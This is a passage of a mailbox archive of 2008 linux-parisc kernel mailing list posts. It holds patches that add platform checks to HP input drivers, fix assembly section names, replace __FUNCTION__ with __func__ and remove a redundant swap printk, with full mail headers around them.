> +SLUB: Genslabs=12, HWalign=64, Order=0-1, MinObjects=4, CPUs=2, Nodes=1
> +Security Framework initialized
>  Capability LSM initialized
>  Mount-cache hash table entries: 256
>  Brought up 1 CPUs
> +net_namespace: 1008 bytes
>  NET: Registered protocol family 16
>  EISA bus registered
>  Searching for devices...
> @@ -58,11 +46,9 @@
>  9. Memory at 0xfffffffffed10200 [49] { 1, 0x0, 0x09e, 0x00009 }
>  Enabling regular chassis codes support v0.05
>  Releasing cpu 1 now, hpa=fffffffffffa2000
> -FP[1] enabled: Rev 1 Model 16
> -migration_cost=4000
> +SMP: CPU:1 is stuck.
>  CPU(s): 2 x PA8600 (PCX-W+) at 552.000000 MHz
> -Whole cache flush 177618 cycles, flushing 5578752 bytes 826963 cycles
> -Setting cache flush threshold to 100000 (2 CPUs online)
> +Setting cache flush threshold to fc880 (1 CPUs online)
>  SBA found Astro 2.1 at 0xfffffffffed00000
>  Elroy version TR2.1 (0x2) found at 0xfffffffffed30000
>  PCI: Enabled native mode for NS87415 (pif=0x8f)
> 
> -----[ Domenico Andreoli, aka cavok
>  --[ http://www.dandreoli.com/gpgkey.asc
>    ---[ 3A0F 2F80 F79C 678A 8936  4FEE 0677 9033 A20E BC50
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.input
Subject: [patch 11/15] m68k: Some input drivers do not check the platform
Date: Thu, 24 Apr 2008 20:29:51 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <20080424183243.180200826@mail.of.borg>
References: <20080424182940.424312704@mail.of.borg>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1209062106 31887 80.91.229.12 (24 Apr 2008 18:35:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Apr 2008 18:35:06 +0000 (UTC)
Cc: linux-m68k@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-input@vger.kernel.org, linux-parisc@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 24 20:35:40 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jp6I4-0007ou-Pd
	for glpp-linux-parisc@gmane.org; Thu, 24 Apr 2008 20:35:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760170AbYDXSen (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 24 Apr 2008 14:34:43 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760141AbYDXSen
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 24 Apr 2008 14:34:43 -0400
Original-Received: from yorgi.telenet-ops.be ([195.130.133.69]:43419 "EHLO
	yorgi.telenet-ops.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1760083AbYDXSek (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 24 Apr 2008 14:34:40 -0400
Original-Received: from monty.telenet-ops.be (monty.telenet-ops.be [195.130.132.56])
	by yorgi.telenet-ops.be (Postfix) with ESMTP id 28941588669;
	Thu, 24 Apr 2008 20:34:38 +0200 (CEST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by monty.telenet-ops.be (Postfix) with SMTP id 7978A5405C;
	Thu, 24 Apr 2008 20:34:14 +0200 (CEST)
Original-Received: from anakin.of.borg (78-21-204-88.access.telenet.be [78.21.204.88])
	by monty.telenet-ops.be (Postfix) with ESMTP id 633F954038;
	Thu, 24 Apr 2008 20:34:14 +0200 (CEST)
Original-Received: from anakin.of.borg (localhost [127.0.0.1])
	by anakin.of.borg (8.14.2/8.14.2/Debian-3) with ESMTP id m3OIYEkO005303
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Thu, 24 Apr 2008 20:34:14 +0200
Original-Received: (from geert@localhost)
	by anakin.of.borg (8.14.2/8.14.2/Submit) id m3OIYEOJ005302;
	Thu, 24 Apr 2008 20:34:14 +0200
User-Agent: quilt/0.46-1
Content-Disposition: inline; filename=m68k-input-drivers-break-multiplatform.diff
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:293 gmane.linux.kernel:670444 gmane.linux.kernel.input:4749
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/293>

From: Geert Uytterhoeven <geert@linux-m68k.org>

Some input drivers do not check whether they're actually running on the
correct platform, causing multi-platform kernels to crash if they are not.

Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>

---
 drivers/input/misc/hp_sdc_rtc.c  |    5 +++++
 drivers/input/serio/hp_sdc_mlc.c |    5 +++++
 2 files changed, 10 insertions(+)

--- a/drivers/input/misc/hp_sdc_rtc.c
+++ b/drivers/input/misc/hp_sdc_rtc.c
@@ -691,6 +691,11 @@ static int __init hp_sdc_rtc_init(void)
 {
 	int ret;
 
+#ifdef __mc68000__
+	if (!MACH_IS_HP300)
+		return -ENODEV;
+#endif
+
 	init_MUTEX(&i8042tregs);
 
 	if ((ret = hp_sdc_request_timer_irq(&hp_sdc_rtc_isr)))
--- a/drivers/input/serio/hp_sdc_mlc.c
+++ b/drivers/input/serio/hp_sdc_mlc.c
@@ -306,6 +306,11 @@ static int __init hp_sdc_mlc_init(void)
 {
 	hil_mlc *mlc = &hp_sdc_mlc;
 
+#ifdef __mc68000__
+	if (!MACH_IS_HP300)
+		return -ENODEV;
+#endif
+
 	printk(KERN_INFO PREFIX "Registering the System Domain Controller's HIL MLC.\n");
 
 	hp_sdc_mlc_priv.emtestmode = 0;

-- 
Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PARISC][PATCH] fix trivial section name warnings
Date: Fri, 2 May 2008 22:02:48 +0200
Lines: 266
Approved: news@gmane.org
Message-ID: <200805022202.48586.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1209758638 10409 80.91.229.12 (2 May 2008 20:03:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 May 2008 20:03:58 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 02 22:04:31 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Js1Ub-000100-La
	for glpp-linux-parisc@gmane.org; Fri, 02 May 2008 22:04:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S936029AbYEBUDT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 May 2008 16:03:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S935516AbYEBUDM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 May 2008 16:03:12 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:51251 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1756815AbYEBUDD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 May 2008 16:03:03 -0400
Original-Received: (qmail invoked by alias); 02 May 2008 20:03:02 -0000
Original-Received: from mnhm-590e015a.pool.einsundeins.de (EHLO p100.box) [89.14.1.90]
  by mail.gmx.net (mp051) with SMTP; 02 May 2008 22:03:02 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/V/yxCTXLVK0nhSdE4dfEuK6TFdglY11wfJJ/ZoC
	DejP6KFqR0FyQS
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
 =?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:294
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/294>

This trivial patch fixes the following section warnings on PARISC:
> WARNING: vmlinux.o (.text.1): unexpected section name.
>The (.[number]+) following section name are ld generated and not expected. 
> Did you forget to use "ax"/"aw" in a .S file?
> Note that for example <linux/init.h> contains
> section definitions for use in .S files.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/hpux/gate.S b/arch/parisc/hpux/gate.S
index 38a1c1b..f0b18ce 100644
--- a/arch/parisc/hpux/gate.S
+++ b/arch/parisc/hpux/gate.S
@@ -13,9 +13,10 @@
 #include <asm/unistd.h>
 #include <asm/errno.h>
 #include <linux/linkage.h>
+#include <linux/init.h>
 
 	.level	LEVEL
-	.text
+	__HEAD
 
 	.import hpux_call_table
 	.import hpux_syscall_exit,code
diff --git a/arch/parisc/hpux/wrappers.S b/arch/parisc/hpux/wrappers.S
index 58c53c8..ccd3a50 100644
--- a/arch/parisc/hpux/wrappers.S
+++ b/arch/parisc/hpux/wrappers.S
@@ -28,9 +28,10 @@
 #include <asm/assembly.h>
 #include <asm/signal.h>
 #include <linux/linkage.h>
+#include <linux/init.h>
 
 	.level	LEVEL
-	.text
+	__HEAD
 
 	/* These should probably go in a header file somewhere.
 	 * They are duplicated in kernel/wrappers.S
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 111d472..1a3935e 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -38,6 +38,7 @@
 #include <asm/thread_info.h>
 
 #include <linux/linkage.h>
+#include <linux/init.h>
 
 #ifdef CONFIG_64BIT
 #define CMPIB           cmpib,*
@@ -629,7 +630,7 @@
 	 * the static part of the kernel address space.
 	 */
 
-	.text
+	__HEAD
 
 	.align	PAGE_SIZE
 
diff --git a/arch/parisc/kernel/head.S b/arch/parisc/kernel/head.S
index ec2482d..5680a2c 100644
--- a/arch/parisc/kernel/head.S
+++ b/arch/parisc/kernel/head.S
@@ -32,7 +32,7 @@ ENTRY(boot_args)
 	.word 0 /* arg3 */
 END(boot_args)
 
-	.section .text.head
+	__HEAD
 	.align	4
 	.import init_thread_union,data
 	.import fault_vector_20,code    /* IVA parisc 2.0 32 bit */
diff --git a/arch/parisc/kernel/hpmc.S b/arch/parisc/kernel/hpmc.S
index 2cbf13b..068322e 100644
--- a/arch/parisc/kernel/hpmc.S
+++ b/arch/parisc/kernel/hpmc.S
@@ -47,6 +47,7 @@
 #include <asm/pdc.h>
 
 #include <linux/linkage.h>
+#include <linux/init.h>
 
 	/*
 	 * stack for os_hpmc, the HPMC handler.
@@ -76,7 +77,7 @@ ENTRY(hpmc_pim_data)
 	.block HPMC_PIM_DATA_SIZE
 END(hpmc_pim_data)
 
-	.text
+	__HEAD
 
 	.import intr_save, code
 ENTRY(os_hpmc)
diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 5901092..7e4a339 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -37,8 +37,9 @@
 #include <asm/pgtable.h>
 #include <asm/cache.h>
 #include <linux/linkage.h>
+#include <linux/init.h>
 
-	.text
+	__HEAD
 	.align	128
 
 ENTRY(flush_tlb_all_local)
diff --git a/arch/parisc/kernel/perf_asm.S b/arch/parisc/kernel/perf_asm.S
index 43874ca..b2a9d05 100644
--- a/arch/parisc/kernel/perf_asm.S
+++ b/arch/parisc/kernel/perf_asm.S
@@ -41,7 +41,7 @@
 ; The coprocessor only needs to be enabled when
 ; starting/stopping the coprocessor with the pmenb/pmdis.
 ;
-	.text
+	__HEAD
 
 ENTRY(perf_intrigue_enable_perf_counters)
 	.proc
diff --git a/arch/parisc/kernel/real2.S b/arch/parisc/kernel/real2.S
index 7a92695..47fbdae 100644
--- a/arch/parisc/kernel/real2.S
+++ b/arch/parisc/kernel/real2.S
@@ -12,6 +12,7 @@
 #include <asm/assembly.h>
 
 #include <linux/linkage.h>
+#include <linux/init.h>
 
 	.section	.bss
 	.export real_stack
@@ -39,7 +40,7 @@ save_cr_end:
 /************************ 32-bit real-mode calls ***********************/
 /* This can be called in both narrow and wide kernels */
 
-	.text
+	__HEAD
 
 	/* unsigned long real32_call_asm(unsigned int *sp,
 	 *		unsigned int *arg0p,
@@ -113,7 +114,7 @@ ENDPROC(real32_call_asm)
 #  define PUSH_CR(r, where) mfctl r, %r1 ! STREG,ma %r1, REG_SZ(where)
 #  define POP_CR(r, where) LDREG,mb -REG_SZ(where), %r1 ! mtctl %r1, r
 
-	.text
+	__HEAD
 save_control_regs:
 	load32	PA(save_cr_space), %r28
 	PUSH_CR(%cr24, %r28)
@@ -145,7 +146,7 @@ restore_control_regs:
 /* rfi_virt2real() and rfi_real2virt() could perhaps be adapted for
  * more general-purpose use by the several places which need RFIs
  */
-	.text
+	__HEAD
 	.align 128
 rfi_virt2real:
 	/* switch to real mode... */
@@ -180,7 +181,7 @@ rfi_v2r_1:
 	bv	0(%r2)
 	nop
 
-	.text
+	__HEAD
 	.align 128
 rfi_real2virt:
 	rsm		PSW_SM_I,%r0
@@ -218,7 +219,7 @@ rfi_r2v_1:
 
 /************************ 64-bit real-mode calls ***********************/
 /* This is only usable in wide kernels right now and will probably stay so */
-	.text
+	__HEAD
 	/* unsigned long real64_call_asm(unsigned long *sp,
 	 *		unsigned long *arg0p,
 	 *		unsigned long fn)
@@ -276,7 +277,7 @@ ENDPROC(real64_call_asm)
 
 #endif
 
-	.text
+	__HEAD
 	/* http://lists.parisc-linux.org/hypermail/parisc-linux/10916.html
 	**	GCC 3.3 and later has a new function in libgcc.a for
 	**	comparing function pointers.
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 69b6eeb..f598e2c 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -17,6 +17,7 @@
 #include <asm/processor.h>
 
 #include <linux/linkage.h>
+#include <linux/init.h>
 
 	/* We fill the empty parts of the gateway page with
  	 * something that will kill the kernel or a
@@ -26,7 +27,7 @@
 
 	.level          LEVEL
 
-	.text
+	__HEAD
 
 	.import syscall_exit,code
 	.import syscall_exit_rfi,code
@@ -636,7 +637,7 @@ END(sys_call_table64)
 		All light-weight-syscall atomic operations 
 		will use this set of locks 
 	*/
-	.section .data
+	.section .data, "aw"
 	.align	PAGE_SIZE
 ENTRY(lws_lock_start)
 	/* lws locks */
diff --git a/arch/parisc/lib/fixup.S b/arch/parisc/lib/fixup.S
index d172d42..4821ad6 100644
--- a/arch/parisc/lib/fixup.S
+++ b/arch/parisc/lib/fixup.S
@@ -23,6 +23,7 @@
 #include <asm/assembly.h>
 #include <asm/errno.h>
 #include <linux/linkage.h>
+#include <linux/init.h>
 
 #ifdef CONFIG_SMP
 	.macro  get_fault_ip t1 t2
@@ -55,7 +56,7 @@
 
 	.level LEVEL
 
-	.text
+	__HEAD
 	.section .fixup, "ax"
 
 	/* get_user() fixups, store -EFAULT in r8, and 0 in r9 */
diff --git a/arch/parisc/lib/lusercopy.S b/arch/parisc/lib/lusercopy.S
index 1bd23cc..f61e8c3 100644
--- a/arch/parisc/lib/lusercopy.S
+++ b/arch/parisc/lib/lusercopy.S
@@ -33,12 +33,13 @@
  */
 
 
-	.text
-	
 #include <asm/assembly.h>
 #include <asm/errno.h>
 #include <linux/linkage.h>
+#include <linux/init.h>
 
+	__HEAD
+	
 	/*
 	 * get_sr gets the appropriate space value into
 	 * sr1 for kernel/user space access, depending
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: akpm@linux-foundation.org
Newsgroups: gmane.linux.ports.parisc
Subject: [patch 2/5] parisc: replace remaining __FUNCTION__ occurrences
Date: Fri, 02 May 2008 13:43:31 -0700
Lines: 71
Approved: news@gmane.org
Message-ID: <200805022043.m42KhVpr013899@imap1.linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1209761075 18026 80.91.229.12 (2 May 2008 20:44:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 May 2008 20:44:35 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, akpm@linux-foundation.org,
	harvey.harrison@gmail.com, grundler@parisc-linux.org,
	willy@debian.org
To: kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 02 22:45:09 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Js27x-0000EV-BJ
	for glpp-linux-parisc@gmane.org; Fri, 02 May 2008 22:45:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935648AbYEBUo0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 May 2008 16:44:26 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S935649AbYEBUo0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 May 2008 16:44:26 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:52550 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S935648AbYEBUoZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 May 2008 16:44:25 -0400
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id m42KhWwq005279
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 2 May 2008 13:43:33 -0700
Original-Received: from localhost.localdomain (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id m42KhVpr013899;
	Fri, 2 May 2008 13:43:31 -0700
X-Spam-Status: No, hits=-3.268 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:295
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/295>

From: Harvey Harrison <harvey.harrison@gmail.com>

__FUNCTION__ is gcc-specific, use __func__

Signed-off-by: Harvey Harrison <harvey.harrison@gmail.com>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Matthew Wilcox <willy@debian.org>
Cc: Grant Grundler <grundler@parisc-linux.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
---

 arch/parisc/kernel/inventory.c |    2 +-
 arch/parisc/kernel/traps.c     |    2 +-
 arch/parisc/kernel/unaligned.c |    2 +-
 arch/parisc/lib/memcpy.c       |    2 +-
 4 files changed, 4 insertions(+), 4 deletions(-)

diff -puN arch/parisc/kernel/inventory.c~parisc-replace-remaining-__function__-occurences arch/parisc/kernel/inventory.c
--- a/arch/parisc/kernel/inventory.c~parisc-replace-remaining-__function__-occurences
+++ a/arch/parisc/kernel/inventory.c
@@ -499,7 +499,7 @@ add_system_map_addresses(struct parisc_d
 	dev->addr = kmalloc(num_addrs * sizeof(unsigned long), GFP_KERNEL);
 	if(!dev->addr) {
 		printk(KERN_ERR "%s %s(): memory allocation failure\n",
-		       __FILE__, __FUNCTION__);
+		       __FILE__, __func__);
 		return;
 	}
 
diff -puN arch/parisc/kernel/traps.c~parisc-replace-remaining-__function__-occurences arch/parisc/kernel/traps.c
--- a/arch/parisc/kernel/traps.c~parisc-replace-remaining-__function__-occurences
+++ a/arch/parisc/kernel/traps.c
@@ -275,7 +275,7 @@ KERN_CRIT "                     ||     |
 
 	/* Wot's wrong wif bein' racy? */
 	if (current->thread.flags & PARISC_KERNEL_DEATH) {
-		printk(KERN_CRIT "%s() recursion detected.\n", __FUNCTION__);
+		printk(KERN_CRIT "%s() recursion detected.\n", __func__);
 		local_irq_enable();
 		while (1);
 	}
diff -puN arch/parisc/kernel/unaligned.c~parisc-replace-remaining-__function__-occurences arch/parisc/kernel/unaligned.c
--- a/arch/parisc/kernel/unaligned.c~parisc-replace-remaining-__function__-occurences
+++ a/arch/parisc/kernel/unaligned.c
@@ -30,7 +30,7 @@
 /* #define DEBUG_UNALIGNED 1 */
 
 #ifdef DEBUG_UNALIGNED
-#define DPRINTF(fmt, args...) do { printk(KERN_DEBUG "%s:%d:%s ", __FILE__, __LINE__, __FUNCTION__ ); printk(KERN_DEBUG fmt, ##args ); } while (0)
+#define DPRINTF(fmt, args...) do { printk(KERN_DEBUG "%s:%d:%s ", __FILE__, __LINE__, __func__ ); printk(KERN_DEBUG fmt, ##args ); } while (0)
 #else
 #define DPRINTF(fmt, args...)
 #endif
diff -puN arch/parisc/lib/memcpy.c~parisc-replace-remaining-__function__-occurences arch/parisc/lib/memcpy.c
--- a/arch/parisc/lib/memcpy.c~parisc-replace-remaining-__function__-occurences
+++ a/arch/parisc/lib/memcpy.c
@@ -91,7 +91,7 @@ DECLARE_PER_CPU(struct exception_data, e
 #define THRESHOLD	16
 
 #ifdef DEBUG_MEMCPY
-#define DPRINTF(fmt, args...) do { printk(KERN_DEBUG "%s:%d:%s ", __FILE__, __LINE__, __FUNCTION__ ); printk(KERN_DEBUG fmt, ##args ); } while (0)
+#define DPRINTF(fmt, args...) do { printk(KERN_DEBUG "%s:%d:%s ", __FILE__, __LINE__, __func__ ); printk(KERN_DEBUG fmt, ##args ); } while (0)
 #else
 #define DPRINTF(fmt, args...)
 #endif
_
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: akpm@linux-foundation.org
Newsgroups: gmane.linux.ports.parisc
Subject: [patch 4/5] parisc: remove redundant display of free swap space in show_mem()
Date: Fri, 02 May 2008 13:43:33 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <200805022043.m42KhXQC013905@imap1.linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1209761077 18028 80.91.229.12 (2 May 2008 20:44:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 May 2008 20:44:37 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, akpm@linux-foundation.org,
	hannes@saeurebad.de, grundler@parisc-linux.org, matthew@wil.cx
To: kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 02 22:45:11 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Js27y-0000EV-Kf
	for glpp-linux-parisc@gmane.org; Fri, 02 May 2008 22:45:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935649AbYEBUo1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 May 2008 16:44:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S964782AbYEBUo1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 May 2008 16:44:27 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:60930 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S935757AbYEBUo0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 May 2008 16:44:26 -0400
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id m42KhYqP005294
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 2 May 2008 13:43:35 -0700
Original-Received: from localhost.localdomain (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id m42KhXQC013905;
	Fri, 2 May 2008 13:43:33 -0700
X-Spam-Status: No, hits=-3.268 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:296
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/296>

From: Johannes Weiner <hannes@saeurebad.de>

show_mem() has no need to print the amount of free swap space manually because
show_free_areas() does this already and is called by the former.

The two outputs only differ in text formatting:

  printk("Free swap  = %lukB\n", ...);
  printk("Free swap:       %6ldkB\n", ...);

Signed-off-by: Johannes Weiner <hannes@saeurebad.de>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Matthew Wilcox <matthew@wil.cx>
Cc: Grant Grundler <grundler@parisc-linux.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
---

 arch/parisc/mm/init.c |    2 --
 1 file changed, 2 deletions(-)

diff -puN arch/parisc/mm/init.c~parisc-remove-redundant-display-of-free-swap-space-in-show_mem arch/parisc/mm/init.c
--- a/arch/parisc/mm/init.c~parisc-remove-redundant-display-of-free-swap-space-in-show_mem
+++ a/arch/parisc/mm/init.c
@@ -555,8 +555,6 @@ void show_mem(void)
 
 	printk(KERN_INFO "Mem-info:\n");
 	show_free_areas();
-	printk(KERN_INFO "Free swap:	 %6ldkB\n",
-				nr_swap_pages<<(PAGE_SHIFT-10));
 #ifndef CONFIG_DISCONTIGMEM
 	i = max_mapnr;
 	while (i-- > 0) {
_
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: akpm@linux-foundation.org
Newsgroups: gmane.linux.ports.parisc
Subject: [patch 3/5] drivers/parisc: replace remaining __FUNCTION__ occurrences
Date: Fri, 02 May 2008 13:43:32 -0700
Lines: 602
Approved: news@gmane.org
Message-ID: <200805022043.m42KhWx2013902@imap1.linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
